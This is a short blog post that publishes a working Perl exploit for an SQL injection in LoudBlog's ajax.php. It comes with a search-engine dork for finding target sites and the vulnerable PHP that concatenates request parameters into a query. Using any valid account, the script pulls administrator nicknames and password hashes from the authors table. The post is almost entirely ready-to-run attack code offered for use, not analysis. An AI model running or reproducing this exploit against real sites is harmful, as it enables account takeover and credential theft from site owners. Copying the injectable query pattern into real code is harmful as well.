LoudBlog SQL Injection Exploit All Versions

Posted on 14:30 by Xianur0

This Exploit requires a valid user name and password of an account regardless of the permissions

Author: Xianur0
Affected: All Versions
Bug: SQL Injection

allintext: "powered by LoudBlog"



use HTTP::Request::Common qw(POST);
use LWP::UserAgent;
use Digest::MD5 qw(md5_hex);
$ua = LWP::UserAgent->new;

print "\n LoudBlog Exploit All Version By Xianur0\n\n";
$uri = $ARGV[0];
$id = $ARGV[1];
$password = $ARGV[3] || die("\nUse: loudblog.pl [URI] [ID Admin] [Valid User] [Valid Password]\n");
$md5 = md5_hex($ARGV[2]).":".md5_hex($password);

my $req = POST $uri.'/loudblog/ajax.php',
[ colpick => "concat(0x557365723a20,nickname,0x0d0a50617373776f72643a20,password)", rowpick => "id", rowval => $id, table => 'authors', action => 'singleread'];
$req->header('User-Agent' => 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv: Gecko/20080829 Firefox/');
$req->header('Cookie' => 'lbauth='.$md5);
$res = $ua->request($req);
print $res->content."\n";


//which row do we manipulate?
$rowpick = "";
if (isset($p['rowpick'])) $rowpick = $p['rowpick'];
$rowval = "";
if (isset($p['rowval'])) $rowval = $p['rowval'];

//which column do we manipulate or read?
$colpick = "";
if (isset($p['colpick'])) $colpick = $p['colpick'];
$colval = "";
if (isset($p['colval'])) $colval = $p['colval'];
if (isset($p['makehtml'])) $colval = makehtml($p['colval']);

// do the request action!!

if ($p['action'] == "singleread") {
$dosql = "SELECT ".$colpick." FROM ". $table." WHERE ".$rowpick." = '".$rowval."'";
$return = $GLOBALS['lbdata']->GetArray($dosql);
echo $return[0][$colpick];

0 comentarios: